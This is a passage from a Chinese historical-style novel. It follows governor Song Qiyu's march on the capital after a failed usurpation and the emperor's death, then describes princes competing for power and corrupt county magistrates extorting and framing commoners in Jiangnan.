几天后,得知柔然退兵消息的韩通命人将齐王发表的檄文和调兵文书以及童道生写来的关于平叛和京城详情的书信送到了大同。宋启愚详读文书后,将所有身在大同的官员、将领召到衙门。他先把文件交给弓康年和段卫国传阅,又命毛小当众宣读了檄文和调兵令。宋启愚缓缓地说:“当初被围之时,很多将佐问本抚,朝廷的援兵何时到来。我总说在路上。现在,你们该明白,本抚的苦衷了吧。我们是靠自己的力量抗击了十几万敌军的进攻,并取得了最后的胜利。能以两万部队歼灭数万敌兵,大同是好样的,你们是好样的!”二百多名属官全都跪伏于地。段卫国哭着说:“原来大人所承受的压力远非我等所能想象。圣上被囚、天下无主、国家动荡、强敌围城,若非大人坐镇,我等早已城破身死,全家被屠,哪有现在的欢庆胜利、亲人团聚和报功受赏啊!”李开复等将领也磕头感谢大人的保全之恩。弓康年用衣袖展了展眼泪,拱手说:“大人,现在圣上有难,国家危急,我们该怎么做呢?”宋启愚站起身,走到桌前,抬手说:“大家都起来。胜仗是我们共同打的,功劳也是大家的。我只是做了自己分内的事情。”他虚扶了一把弓康年,接着说:“咱们刚刚脱困,正需休养生息、调配军需、补充兵员、加强城防,可国内却遭逢变故,不能再徐缓应对了。为此,本抚思虑再三,决定还是要尽快出兵,入京勤王。”副将郭林拱手说:“大帅,柔然人并未撤远,我们还是要先以本埠防守为主,若彼再来,我们也好应对。”宋启愚略略点头说:“郭将军所说不无道理。不过,柔然这次的损失也很大,想再次南下恐怕并不容易。为防万一,本抚已命韩通和韩德明将军日夜兼程把囤积在代州的物资和粮草运到大同来。我还命曹可用和庄必成去了晋阳,大量采买器械资材。此外,昨日,我又命张广胜和权正宜带兵去了马埔山一带,为开建关北长城做前期准备。”董阳抱拳说:“宣道,直到今天我才知道咱们的处境有多艰险。后面怎样安排,您就吩咐,我们都听您的。”宋启愚走到厅中,朗声说:“此次南下关乎国本,本抚不敢交托他人。我将亲自带领五千兵马于二十日后前往汴京。我走之后,大同防务交由段卫国和余天锡共同负责。关北的行政事务暂由弓知府署理。”宋启愚转脸对余天锡说:“你的铁炮我要带走两门,其余的仍由你统领。你们要严加戒备,以防柔然人再来。”几个人再次跪倒,磕头应诺。宋启愚又走到董阳跟前,对他说:“光照,本抚任你为应县镇守,保障大同的后勤补给。”董阳也跪地听令。宋启愚又说道:“现在,席军民将军还没有率军归来,但他立下了解大同之围的头功,本抚必须重赏,暂任席军民为署理朔州镇守使。其余有功人员的赏金和赏物前日已经发放。至于朝廷正式的封赏,我也写好了保荐折本,单等勤王之后,陛下允准,便给诸位加官进爵。”众将听后,一起跪倒,喊道:“末将感谢巡抚大人的栽培提携之恩!”宋启愚又转向弓康年说:“遭逢大战,民生凋敝,咱们还要帮着老百姓赶快恢复经济,帮着农民抢种抢时……” 京畿地区的形式在这两个多月的时间里发生了翻天覆地的变化。先是张永德击溃了秦国勋所部,刘睿也打败了赵义廷,齐王的兵马直抵开封城下;接着,成王自徐州出兵,进驻杞县,从东面威胁到了汴京的安全。而汴梁城里也不安稳,周作会等忠于朝廷的大臣开始秘密串联,等待时机清除叛党;冯体仁等被迫附逆的臣僚纷纷与齐、成二王暗通款曲,伺机反正;禁军里的一些将佐也在为自己寻找退路,叛逃和哗变时有发生。在这种情况下,静福公主一方面用封官赐爵的方式拉拢人心,一方面派其子秦邦未前往寿春、越王秦国勋前往杭州,经营江南半壁,以此做为退身之处。到了二月中旬,枢密使周亮策反了镇守东曹门的禁军,成王大军还曾一度杀进汴京城内。可石坚担心成王立下大功,随命令本部突袭周亮军营,致使石堃的部队被叛军击退。成王负气撤回杞县。齐王、成王和静福公主三股力量相互攻打,战场局势愈发复杂。 三月初,童道生请看守祖陵的扬王出面,调停齐王与成王的争端。经过石坦的来回奔波,两王终于再度联合,由齐王负责攻击安远门、金耀门和小西门,由成王进攻丽景门和东曹门。与此同时,叛军统帅赵义廷见本方势微,也通过儿女亲家张洪涛联系上了成王,愿以纳城擒贼的方式投到成王麾下,条件是事成之后外放其为地方节度使。石堃当然乐得如此,随约定了反正时间、暗号等事项。 月圆之夜,赵义廷如约打开了了丽景门。周亮随率军开进了汴梁。紧接着,刘睿和张永德也从西、北两面开始攻打开封。虽然静福公主的爪牙众多,为了爵禄委身叛逆者也不少,但终究还是保持中立和身不由已的人更多。这些人现在一看,连赵义廷都反了水,也都纷纷放弃了抵抗。见大势已去,静福公主慌忙命大将秦国锐保着自己往南熏门逃跑。可为时已晚,刚过朱雀桥,成王手下的孙非领兵就杀到了。经过一场混战,孙非斩秦国锐于桥头。落单的静福公主又拼命往回跑,可却慌不择路投进了宰相冯体仁府中。冯体仁表面上好言劝慰,暗地里却想拿下公主以邀功。可他又怕静福公主揭出自己的丑事,于是吩咐心腹家人道:“去把家里最醇的美酒拿来,献给公主饮用。”心腹会意,呈上毒酒。静福公主表情戚然,犹豫了片刻,说道:“早知今日,何必当初。皇权的诱惑,又有谁能抗拒呢?”说完,她仰面喝下了毒酒,不多时便毒发身亡。其后,冯体仁命家人砍下公主的脑袋,往见齐王请求收纳。 第三十五回2 失一鹿天下逐 宫城被包围前,大太监白显劫持了小皇帝向外突围,可却没有成功,连石垚都被乱兵掳了去。自知无路可逃的白显回到永春宫,将大量金玉珠宝堆放在身边,最后放了一把大火,自焚而死。 攻破皇城后,石坚、石坦和石堃各带少数近卫进入内宫找寻同泰帝。当他们打开金龙殿的大门时,一个五官歪斜、面目青绿、满头白毛、身上沾着粪尿污渍的老者突然从门后跳了出来,手舞足蹈地说:“嘿嘿嘿,月娃娃,八丈高,骑白马,跨弯刀……”石堃捂着鼻子向后退了两步,质问道:“什么人?”石坚也用手轻轻扇着空气里弥漫的恶臭。跟在三位王爷身后的童道生经过仔细辨认,惊叫道:“这不是白晨公公吗!”他扑上前去,抓住白晨的手,轻声唤道:“白公公,白公公,你还识得童某吗?我是中书舍人童道生呀。你如何变成这副模样?”白晨痴痴地看着童道生,又嘿嘿笑着说:“公鸡凶,切大葱。大葱大,吃王八……”石坦走上前,冲着白晨拱了拱手说:“白公公,勤王大军已攻破了京城,诛灭了篡权谋逆的静福公主等人。我与齐王、成王是进宫来营救父皇的,你可知道圣上下落?”白晨打了个寒颤,聚拢住眼神,扫视着在场的人。当看清楚眼前的一切时,白晨瘫坐在地大哭道:“陛下!陛下快出来看看啊!三位皇子来救陛下了!”石坚和石堃几乎是同时追问道:“父皇可在殿内?”白晨费了好大的力气,才弓起身子,爬向内殿,几位皇子也带着近卫跟了进去。到了殿内床榻前,白晨轻声叫着:“皇上,皇上。”他颤抖着拉开锦被,惶恐地指了一下被下的黑布小包,两眼一翻,昏了过去。 同泰帝被害的消息象长了翅膀一样,迅速传遍了开封城。在第二天为大行皇帝举行的治丧会议上,各方势力发生了激烈的争吵。齐王和成王都想把主持丧仪的权力揽入自己怀中,进而夺取至尊之位。在各方僵持的情况下,宰相刘睿提出,可暂不废除石垚帝位,仍然沿用“同泰”年号,等国丧结束,再行商议新皇的人选问题。刚被从天牢里放出的宰相赵松寿也提议,可由长期看管祖陵的扬王石坦担任主祭,而齐王和成王共任副祭。考虑到两军力量较为均衡,石坚和石堃最终同意了这一方案。其后,众王和大臣们又议定了大行皇帝的庙号、尊号和丧礼仪程等细节问题。 同泰帝入殓后的第二天傍晚,宋启愚率军到达了开封北郊。大道上稀落的行人,路两旁破败的房舍,田垄间长满的稗草,村庄外密布的新坟,都让宋启愚不敢相信前方不远既是京城。他骑在马上,指了指东边的一块坡地说:“长白,命令部队在坝台村扎营,不许滋扰百姓。扎营之后,全军挂孝,遥祭先皇。”吴襄答应一声,打马前去传令。宋启愚又说:“我等此来本为勤王,不想君父遇害,叛党伏诛。现在,我军未奉圣旨,不能进京,就暂时屯于此处。毛小,申鲤,开复,刘戈,你们明日随我进城,拜谒圣上灵位。”四将齐声答道:“末将听令。” 掌灯的时候,吴襄兴冲冲地跑进帅帐,喊叫道:“宣道,你猜谁来了?”宋启愚放下手里的书,抬头说:“看你高兴的样子,该是熟人……”还没等他说完,童道生一挑帐帘就钻了进来。他向前紧走几步,跪在宋启愚面前,纳头便拜,口称:“宣道兄长一向可好,小弟给您请安。”宋启愚赶忙起身,用双手搀扶说:“兄弟快起来,快起来,不要客套。”童道生起身后,握着宋启愚的胳臂,上下打量着兄长,心疼地说:“三年不见,兄长竟已满头花发。兄在关北,孤军苦战,保卫桑梓,立下大功。大周有兄长保卫,国家幸甚,人民幸甚!”宋启愚也欣慰地看着童道生说:“再造在国中面对的局面更加复杂凶险。真正力挽狂澜,匡扶社稷的是兄弟你啊!”宋启愚向一旁让着童道生说:“兄弟造访必有要事。快坐下,咱们慢慢谈。”童道生郑重地说:“兄长可知,目下京城的局势波诡云谲。齐王和成王相互争斗,都想夺取至尊之位。他们见兄长手握兵权,也都想笼络于你。不瞒兄长说,再造此来一是实在想念您和长白等旧识;二是受齐王所差,向兄长致意。”说着,他从怀里摸出一份文书,递过来,又说:“这是齐王拟升任兄为山西节度使的谕令。不知兄长有何打算?”宋启愚看着童道生,并没有接文书,而是缓缓地说:“原来再造已经投到了齐王门下。”童道生看宋启愚的脸色不对,急忙摆手说:“兄长切莫误会。您还信不过再造的为人吗?我万不敢替人来拉拢兄长,只是想用最光明正大的方式来见兄长并与您长谈,好让兄长全面了解京里的情况;同时,借助齐王的荐举,让山西百姓得到兄长的庇佑。”宋启愚缓和了一下口气说:“我错怪兄弟了。看来,这十年的历练,兄弟长进了许多呀。”童道生把吴襄也拉到一旁坐下,又说:“先帝虽然不比隋文帝、唐太宗,却忧心国事,善待黎民,体恤臣僚,保卫疆土。单从害怕史笔如刀这一点上看,他至少不是个坏皇帝,落得被人囚禁,忧愤而死的下场,实在令人可怜。”宋启愚几乎垂泪说:“先帝在所有统治者中确实算得上仁厚之君,却终被奸徒所害,叫我等扼腕叹息呀!只是,我观先帝子嗣,似乎无人有此德才,能够保我大周子民,延我大周国祚。如果单看人品,扬王殿下更益为君,可殿下好像并无此意。而那齐王处处做些表面上光鲜的事情,还不愿承担责任,总让大臣替他背负骂名,这样的人哪有人君的样子?成王就更不成器了。他除了搜刮地方和倾轧他人,似乎别无所长。至于,其他皇子,更是上不得台面。哎!这个天下,究竟应往何处去呢?”吴襄冷笑数声,插嘴言道:“那就要看宣道想让它往何处去了。”童道生也试探着说:“天下只能传给皇族,这是历朝历代留下的规矩。且皇权高贵,觊觎者众多,纷争和动乱难以避免,这会对社会造成极大的损害。前数日,我跟扬王长谈,殿下不愿卷入宫廷争斗。他还讲天下大事合久必分,且从无一人一姓之天下,当以有德有能者居之。我那时突然顿悟,咱们为何不能推举象宣道兄长这样于国于民都有大功的贤者为主呢?”宋启愚听后十分惊恐。他赶忙示意二人慎言,说:“宋某一心为民,从无谋逆之意。你二人不可以此为念,也休想逼我就范。虽然众王均不成器,但大周国祚尚在。我等还是应尽力维护国家和皇权。”童道生拉住宋启愚的手说:“兄长仁义,我等知晓。只是如今的京城已不太平,各方为了夺嫡什么事都做的出来。再造建议兄长,不趟他们的浑水。为了不被裹挟,兄长应在拜谒先帝灵位后,就以北境烽烟再起为由,率军回归。再造也会全力争取,让朝廷实授兄为山西节度使,以保我河东、晋中、关北地方的安宁。”正说话间,毛小在帐前禀报道:“宣道大人,营外有礼部郎中汪伯彦求见,他自称是大人的故交。”童道生微微一笑说:“兄长,咱们这位同年早已投入成王门下,此来必是替成王向你示好的。”宋启愚轻轻摇摇头说:“想不到,我一个小小的边镇巡抚还能得到这么多权贵的垂青。兄弟先随长白到偏帐歇息,等我打发走汪伯彦,咱们再谈京中之事。”宋启愚又对帐外吩咐道:“毛小,回复汪郎中,请他稍候。就说故交到访,本抚高兴,正在更衣,即刻出迎……” 第三十五回3 失一鹿天下逐 次日辰时,宋启愚送走了童道生,又带着部队出操完毕,正在用饭,就听军营外一阵嘈杂。片刻之后,偏将辛涛在帐前禀告道:“启禀大人,营外有一哨襄阳城防军求见,其都尉名叫钟成。”宋启愚放下碗筷,一边往帐外走,一边说:“快快有请。本抚还真是想念襄阳的军民呢!”辛涛答应一声,飞跑着传令去了。刚到前营,宋启愚就见毛小、申鲤、伍名等军将领着几百号城防军从远处走来。那些城防军望见宋启愚,欢呼道:“宋大人来迎我们了!咱们又见到大人了!”几百人飞奔过来,哭拜于地。为首的钟成磕着头说:“大人离开襄阳已有五年,想煞末将了。”宋启愚快步上前,用双手搀扶着钟成,说道:“钟大哥起来。众将士请起。我也一直想念着大家,挂牵着襄阳啊!”军将们站起身,全都围拢过来。这个说:“马光给大人问好。”那个说:“李三茂见过大人……”宋启愚也一一应答,现场气氛十分热烈。其后,宋启愚引着大家在自己的帅帐前席地而坐,并命人准备酒菜饭食招待众人。 大伙正欢谈间,偏将程元甲跑来报告说:“大人,代州镇守副使韩德奎到营晋见。”宋启愚一边起身一边说:“先前我派内兄带领两千兵马南下勤王,他这是交令来了。我得去接一接。”他又对众人拱手道:“大家且坐,本抚去去就来。申鲤,伍名,替我照顾家乡人。”说完,他起身大踏步地向营门走去。申鲤坐在钟成和马光之间,为他们布着菜问道:“钟老哥,你只带了这四五百人来吗?”钟成哀叹一声说:“哎!几个月前,听说宋大人要大家勤王,咱襄阳军民全都踊跃报名呀!我一共从中挑选了一千二百多人。我等先跟着荆襄巡抚燕行然北上打叛军。过了不到一个月,原先和我们一同勤王的湖北巡抚郭开突然又返过来打我们。我们不得不投到成王麾下,两线作战。又过了不久,齐王的部队渡过黄河,几路大军齐聚开封城下。再往后,成王跟齐王又起了冲突。我们就在几方势力之间打来打去。结果,大小几十仗下来,我的部队就剩下了这些。”马光仰头吃了一杯酒说:“申鲤兄弟啊,我到现在都没弄明白,咱们是为谁打仗。那老皇帝和那死了的公主以及那些王爷们,根本没啥区别,谁当皇帝都一样。”邻座的杜应也拍着大腿说:“是呀,说是救皇上,可我只看见那些王爷和官老爷们用咱哥们的鲜血争地盘。他们谁象宋大人一样替老百姓着想过?你看看这京城外的土地,这一季算是荒废了,到了秋天,你说百姓们可怎么活?”陪着杜应的毛小说:“先贤们用‘君君臣臣’要求人们守本分、讲规矩,可是,要让我说君就得有君的样子,臣才能讲臣的规则,否则,就应该推举更贤良的人为君,制定更加合理的制度。咱们这个国家,所有的律法和规矩都是给老百姓立的,拥有权力的人从来就不需要遵守,当皇帝的就更没人能制约了,天下怎么会好呢?”钟成也饮了一杯酒说:“毛兄弟的话我听不太懂,但我觉得有理。”旁边一个白净面皮的军士插嘴说:“学兄所言也不尽然,历朝历代还是有不少好皇帝的。且‘秦失其鹿,天下共逐之’,一旦推翻一个王朝,国家就会大乱,受苦的还是老百姓啊!”毛小转脸一瞧,原来是魁星三学的学弟姜元廷,便笑着说:“元廷以书生身份参军勤王,胆气不小啊!不过,因惧怕一时动乱就要求人民世代隐忍也是不可取的。那只是官府用来吓唬老百姓的说辞罢了。好了,咱魁星三学怎么样?余先生他们过得如何……”这时,伍名叫人生起了几棚篝火,又在火上架起了几只整羊,笑着对众人说:“弟兄们有口福了,大人吩咐烤全羊给乡亲们吃。这是柔然人的做法,跟你们吃过的羊肉味道不一样。”人们喜悦地望着柴火上被烤得滋滋冒油的肥羊,相互诉说着几年来的各种见闻,享受着这难得的欢愉时光。 午时以后,宋启愚命人在军营两侧又扎下一大一小两座副营,分别给襄阳城防军和代州勤王军驻扎。而后,他便带着毛小,申鲤四将和少量护卫,打马进京,参拜同泰帝灵柩。 未末,宋启愚到达宣德门外。他恭恭敬敬地呈上手本,然后扎起孝带,跪在御道边上,等待内廷召唤。不大的功夫,一个太监引他入内。宋启愚趋步走进宫墙,但见不远处的五座玉带桥已经倒了两座;桥边的树木多数已被烧黑;地面上的砖石坑洼不平,在一些砖缝里还能隐约看见干涸的血渍;曾经高大巍峨的宣德殿塌去了一个檐角;更远处的红墙,现在斑斑驳驳,显得很是破败。 宋启愚跟在太监身后,转过宣德殿,又穿过乾德门,走入了内宫。路两边的小树和墙檐都用白布做了帷幔,宋启愚想起同泰帝昔日对自己的种种恩德,悲不自胜,嚎啕大哭。他手扶着一颗小树正在哀泣,背上突然被人重重拍了一把。那人喊道:“宋宣道,你来迟了,里面没有位置了。”随即,那人笑着跳到路中央,唱道:“青龙头,白龙尾,小儿求雨天欢喜。”他又一把抓住旁边太监的手,“吭哧”咬了一口说:“还是肉好吃……”被咬的太监大怒,抬脚就把那人踹了个跟头,骂道:“老疯子,还以为自己是大总管呢!看小爷怎么收拾你。”说着,他就要打那疯子。宋启愚听到“大总管”几个字,又仔细辨识那人,才惊呼道:“白晨公公,原来是您!”他先劝止住小太监,又来到白晨面前,跪下磕了三个头说:“山西乡党宋启愚见过白公公。您受苦了。”白晨先是一愣,接着,踢打着宋启愚说:“我生墙头,不歪不斜。风雨雷电,哪奈他爷!”宋启愚是何等聪明之人,立即听出了白晨话里的“我不风哪”几个字。他起身攀住白晨的胳膊说:“公公放心,宋某拜谒完先帝灵柩,一定想办法接您出宫,让您安享晚年。”白晨用手指掐着宋启愚的手腕,两颗浊泪滚落下来。他贴近宋启愚,用最低的声音说:“解国家危难,全赖恩公。”旋即,他又大声唱道:“红冠子,花身子,长尾巴,咯咯叫……嘿嘿嘿,你猜不出来,我找别人喽!”白晨边唱边舞跑向了远处。 又绕过一座殿宇,前方就是停放同泰帝灵柩的金龙殿了。看着那高搭的灵棚和如林的白幡,听着殿内传出的哀鸣声和诵经声,宋启愚心里无限悲痛。他仰头看了看天,长叹一声,高声呼喊道:“臣关北巡抚宋启愚前来见驾。陛下,您慢些走。臣来晚了!”他哭拜于地,跪爬向前,去殿内见同泰帝的遗骸最后一面。 第三十六回1 江南人民的苦难 同泰帝的棺椁在皇城里停放了四十九天。其后,他的灵柩在众皇子和大臣们的护送下被移往泰陵下葬。扬王石坦在主持完丧仪之后,坚持留在荥阳为父祖守陵。他还以“先帝近侍,生死相依”为由,把老太监白晨要出了宫,并把他安排在陵山下居住。而齐王石坚和成王石堃由于都无法压制对方单独掌政,故仍立石垚为帝,改元“共治”。他们又分别在宣德殿东西两侧的配房里建立了自己的行政机构,时称“东西二殿下”。所有国家大事都要先由齐、成二王过目允准后,方能交给宰执们用印颁行。小皇帝石垚则完全沦为坐在龙椅上的傀儡,没有任何权力。二王掌权后,也都对自己看重的官吏大加封赏,其中,宋启愚因功被实授为山西节度使,童道生被破格晋升为吏部侍郎,加太子少傅。 接下来,两股势力在朝堂上相互倾轧,争执不断,造成行政效率十分低下,甚至在征剿叛逆秦国勋父子的问题上,双方都很难统一意见。至七月末,秦国勋在扩军备战完成之后,主动向朝廷上了请罪折。考虑到秦氏父子兵强马壮,石坚和石堃又都不愿损耗自身实力派兵讨贼,结果,中央竟真的赦免了秦国勋父子,仅以心智昏愦、附逆为奸的罪名,撤去了秦国勋的越王封号,并削夺了秦邦未的封地做为惩罚。秦氏父子得以在江南继续过着骄奢淫逸、相对独立的快活日子,只是每年除去正常税赋外,还需要向齐王和成王各上交五十万两银绢的贡赋。 掌权后的石坚和石堃处处攀比,穷奢极欲。一方若扩建王府,另一方就改造花园;一方若增强护卫,另一方就加长仪仗;一方若广纳妻妾,另一方就补充婢女;一方若在某部升赏了官员,另一方就在地方增设职位;再加上一些小人肆意逢迎谄媚,弄得国家乌烟瘴气,政治秩序一片混乱。起初,童道生还经常去见石坚,劝他励精图治,忧心国政。石坚也念及以前相救相帮之情,对童道生保持着尊敬和礼遇。但时间一长,尤其是在有人诬告童道生指责齐王秽乱后宫之后,石坚对童道生的态度渐趋冷淡,有时,甚至还会挑些错处,加以申斥。心灰意冷的童道生随即以接家眷来京为由,向齐王告了长假,收拾行装,返回山西。 在北行之前,童道生特意来到荥阳,拜谒泰陵,会见扬王。 初秋的傍晚,天高云淡,金风送爽。童道生身穿布衣从泰陵的享殿里退了出来,他展了展眼泪,转身向陵外走去。经过一座座石像生,快到石牌坊的时候,突然,从路旁跳出一个满头白发的老人。童道生立即认出那人乃太监白晨。他看守陵军士都在远处,便紧走几步双手搀扶住白晨说:“白公公,此间过得可好?扬王待你如何?”白晨轻拍着童道生的胳膊说:“多谢你跟宣道为咱家设法。此间虽然清静,但待遇甚好,又远离朝廷争斗。咱家过得十分安闲。扬王对我也很友善。且咱家又是出了名的疯子,没人敢招惹。”童道生点头说:“这就好啊。宣道兄长一再嘱咐,要我对公公多加照料。看公公现在的气色,童某也就放心了。待日后,我禀明了兄长,再想办法让公公回转山西,安享晚年。”白晨把童道生拉到石像后坐下,轻叹一声说:“不必了。咱家跟着先皇享乐了半生,也不屈这一辈子了。且咱家还有对不起先皇和扬王殿下的地方,今后,就让我常伴先皇,了此残生吧。”其后,白晨又向童道生讲述了静福公主造反时皇城里的详细状况,以及皇帝驾崩前后的种种细节,但他却始终未敢说出先帝遗诏的事。童道生说:“目下,齐王和成王在京里明争暗斗,说不好什么时候又会有一场血雨腥风。扬王殿下无职无权,又无党羽,带着公公看守祖陵,置身局外,反而是好事。”白晨略为悲戚地说:“不好又能如何呢?齐、成二王势力强大,扬王殿下断没有与之较量的本钱,还是明哲保身吧。好在国祚延续,也算老奴能对先帝有个交代了……”童道生临走之时,白晨又拉住他的手说:“听说童大人会禳解,咱家近日做了一个很有趣的梦,不妨说与你听听。”童道生笑笑说:“只是解闷闲聊的小把戏而已。公公想说尽管倾诉,我洗耳恭听。”白晨说:“咱家梦见先帝已然羽化成仙。他带着我飞升去了北海。在那里,我们见到了北海帝仙。帝仙请我们饮了甘露。啊,那滋味香甜无比呀!帝仙看先帝并不快乐,随问他为何。先帝就将大周动荡、自己失国的事讲述了一遍。北海帝仙哈哈大笑,指着身旁奇花上的一只蜗牛说:‘你讲的事情都在这蜗牛角上,根本不算什么。’先帝不解。北海帝仙将手一张,那小东西竟变得奇大无比,其触角上竟真的存在一个大千世界。北海帝仙在先帝耳畔轻言数语,先帝的表情立即舒朗。我因离得较远,未能听得真切,只听陛下言道:‘该死,该死。我竟不知百姓也有需求。’接着,一阵电闪雷鸣,咱家惊惧,便醒了过来。不知童大人可能帮咱家破解一二?”童道生略略思索,问道:“公公可看过《淮南子》,或听人说起过蛮触之争的故事?”白晨摇头说:“未曾听闻。”童道生又说道:“公公思念陛下,至夜成梦,此乃人之常情。只是这梦内容怪异,想来应有因果。从陛下最后的言语判断,他已坦然接受了先前的命运,不再有怨恨。另外,陛下还告诫后世的人‘百姓也有需求’,不可欺之过甚。”白晨深深一躬,眼角淌着热泪说:“此话我当终生铭记。多谢童大人替咱家排解烦忧。咱家自此也会多习佛法,为陛下英灵诵经祈福……” 千里之外,秦国勋愁眉苦脸地坐在杭州的帅堂里,思索着事情。世子秦邦未急匆匆地从外面进来,开口道:“父亲,建康守军的粮饷这个月无论如何得筹措出来。否则,朱将军可弹压不住呀!”秦国勋叹气说:“哎,不光是建康,浔阳和安庆的军队也都来信催了,为父也正发愁呢。朝廷的一百万两,二王的一百万两,养兵的一百万两,还有各级官吏的四十万两,咱们今年不筹够三百五十万两银绢,就过不去呀!可这江南正常年份的营收只有二百三十万,你叫为父上哪儿去弄这亏空的一百二十万两巨款呢?”秦邦未坐下自斟了一杯茶,边喝边说:“听说齐王正在建造府邸,成王也在装修花园,他们又都喜欢奇珍异宝。咱们可以投其所好,寻觅些奇巧的东西送给他们,以冲抵上交的贡赋。另外,咱们还应广开源头。昨日,孩儿跟雷思平议了个章程,可以先在下面的百十个州城府县增设一两个同知的职位,凡是大户人家想让子弟谋个官职的,就得给咱们捐纳几千至上万两银钱,光这一项,咱们就能营收百万,军费不就有了吗?另外,咱们还可以让犯罪的官员多交些钱物,是谓‘赎罪银’。他们那些贪官污吏为了免受皮肉之苦,还不得乐颠颠地拿钱来!”秦国勋沉吟了半晌,说道:“儿啊,这‘卖官鬻爵’可不是什么好事啊!弄不好,是会败坏江山的。”秦邦未不以为意地说:“江山是他们老石家的,败了就败了。当初母亲举事之时,咱父子还有指望,现在,咱们只能先顾眼前了。还有就是应严令各地快些把上半年拖欠的税赋收上来,但凡到月底还交不上来的,该地的主官就地免职。”秦国勋捋着胡子说:“看来,也只能这么着了。让雷思平具体办理吧。我们父子躲在幕后,说不定还有东山再起的一天。” 第三十六回2 江南人民的苦难 两天后,余姚知县林彬领着几十个衙役包围了棠溪村茶户何兴的老宅。见何兴领着两个儿子神色慌张地跑出来,林彬劈头怒斥道:“老何头,你家的两棵茶树可捆扎结实了?”何兴父子跪倒磕头说:“知县老爷,那两棵龙尖在这院里生长了百年,树根深入房下,若要硬刨,恐怕这几间小屋都会倒塌。求大人可怜,我情愿将茶山上的四棵茶树刨出,送给大人。”林彬啐道:“呸,哪个稀罕你茶山上的烂树。若不是京里来的天使看上了你院子里的龙尖,本老爷才不会踏足你这腌臜地方。来人,进去给我掘出来。注意,不要伤了异木。”七八个恶吏手拿锹镐推开何兴就往院子里闯。何兴的两个儿子不干了。他们跳将起来,从房门后面摸出了锄头和顶门杠,挡在大门口,骂道:“你们这帮王八蛋,太欺负人了。我看你们谁敢上来。”林彬先被吓得一愣,继而怪笑着说:“嘻喝,嘻喝,两个小鸡崽子真不知死活。老何头,你们手执凶器,威胁县主,想造反吗?这可是要诛满门的!”何兴被吓得体若筛糠。他急忙给知县磕头请罪,又转身把两个儿子推进了院,回来央告林彬说:“大老爷,小人不是舍不得两棵茶树,实在是怕塌了屋子,我一家老小没处安身呀。”林彬翻着眼睛看了看他,说道:“天使老爷征用的东西,本官今天必须带走。不过……看你说的可怜,本官又是出了名的大清官,我就补偿你一两银子,拿着修屋去。”说着,他将一小块碎银扔到何兴面前,接着,便对身边的衙役吩咐道:“愣着干什么,进去把树刨出来。”几个衙役如狼似虎地冲进院中开始挖地。何兴的两个儿子守在树前,仍不愿屈服。林彬对跟着的捕快说:“把他们抓了。小兔崽子,持械抗法,这还了得。”几个捕快听命,上去就把何家人全都拿下。 没有人阻挡,众恶吏很快就把两棵树下的土刨出了三尺。可那百年老树根系发达,竟真的扎到了旁边房舍的墙基处。林彬看了看被挖出一半的树根,又不耐烦被捆在一旁的何兴一家苦苦哀求。他板着脸说:“先把他们关到西屋,少在这里聒噪。已经给他修屋的银子了,你们只管挖就是了。”有知县老爷撑腰,恶吏们没了顾忌。他们直接用镐头砸烂墙壁和地基,仔细地剥离树根。到了后来,为了不伤到茶树,他们竟然直接推倒了一间草房。挖掘清理进行了将近两个时辰。衙役们终于把两棵龙尖完整的刨了出来。一个小吏高叫道:“老爷,这树太大,出不去门啊!”林彬往旁边瞟了一眼说:“这点小事也用问我,把大门和院墙都扒开,不就行了吗。”衙差们答应一声,赶紧照做。待出了大门,将树装车,有个捕快追上来问:“老爷,何兴一家怎么处置?”林彬回头看了一眼满地碎砖烂瓦的何家,叹了口气说:“本官最见不得百姓受苦。你们去开导开导他们,别再闹事。他们持械抗法的行径,我就不追究了。”说完,他迈步向官轿走去。上了轿子,林彬撩起轿帘对外面吩咐道:“让杨师爷押着车先回县里。另外,叫他把那两个抗税不交的穷鬼押到大岚村杖毙,看还有谁敢不交税。你们跟我去石步村,张员外家的那尊龙形太湖石被上差看上了。我得去系上黄绢。待明天,让城防军给本官调些人手,咱们再去起了它……” 过了几日,林彬因进献奇石异木和金银古玩得到了天使的夸赞。他兴冲冲地回到衙门,坐在二堂饮了一会儿茶,对外面喊道:“杨师爷,让你打听的事问清楚没有?”一个白面突颧骨的灰袍师爷笑嘻嘻地跑进来,回答说:“老爷交办的差事,小的定然尽心。这余姚是江南的富裕县,家里有宝贝的大户极多。城北关学明家里就藏着一件稀世的瓷器,听说能被称为越窑瓷器之祖。有人曾想出五万两银子买这件宝贝。他都没卖。”林彬两眼放光,急迫地追问:“是真的吗?那这件宝贝的价值可比咱以前弄的那些大的多呀!这个关学明是什么背景,你清楚吗?”师爷眯缝起眼睛说:“小的打听过了,他伯父曾经做过关中知府,后来想巴结宰相王克明,可那王克明正好失势,他也被牵连,丢了官职,没多久就死了。现在他们家已经没有什么靠山了。”林彬点着头说:“真是老天睁眼,这宝贝合该落到我手上。你去查一查,这个关学明和他家里的人有什么违法的事情。本官想办法收拾收拾他。”师爷会意,应承一声,转身办差去了。 次日下午,杨师爷拿着一册户籍来找知县。林彬开口便问:“查的怎么样?姓关的有没有把柄?”师爷眯眼一笑说:“这关家还真会‘夹着尾巴做人’,这些年坑蒙拐骗、杀人放火的事都跟他家扯不上关系,就连个逃避税款的罪名都给他安不上。”林彬听后十分泄气,骂道:“废物。看来还得本县给他栽赃……”师爷又一拱手说:“大人莫急吗,小的一夜未睡,还真查到了一条。您看看,能不能用。”说着,师爷就将那册户籍呈给了县令。林彬在师爷的指引下,细瞧那户籍册,只见在关学明的曾用名和乳名位置赫然写着“君儿”二字。林彬抚掌大笑,说道:“君乃圣上,这是想谋反啊!你自己送上门来,别怪我抄你的家。”林彬马上更换了官服,又到前衙写下了判罪文书。然后,他便亲自带人去往了关家,办理这刚刚查出的惊天大案。 第三十六回3 江南人民的苦难 在江南西部的鄱阳县,代理知县史培浩也正在思考怎样敲财主江振波的竹杠。他搂着小妾躺在床上,嘴里喃喃自语道:“让他出五千两不算多吧?”小妾撒娇说:“哎呀老爷,你都咂摸一个时辰了,眼看要到亥时,你还睡不睡呀?”史培浩自释地一笑说:“好好好,睡觉,睡觉,我最爱听你这小浪蹄子叫唤。”说着,他还在小妾的脸和脖子上猛亲了两口。正当在解小妾的肚兜时,他的手突然停住了。史培浩捏着肚兜链子上的香囊,高兴地说:“有了。这下,江财主想破财消灾都不行了。”小妾有些扫兴地说:“老爷,你又整什么幺蛾子。”史培浩低头问道:“你那个好姐妹盼盼现在还在浔阳的楚馆里吗?”小妾假装生气道:“提她做什么,老爷想再纳个妾不成?”史培浩仰面躺下,转着眼珠说:“这个江财主没有别的爱好,就喜欢丝竹。只要他上了钩,入了套,那可就不是五千两能了的事了。他的全部家产都得给我交出来。”说完,他翻身骑到小妾身上,乱摸乱亲起来。 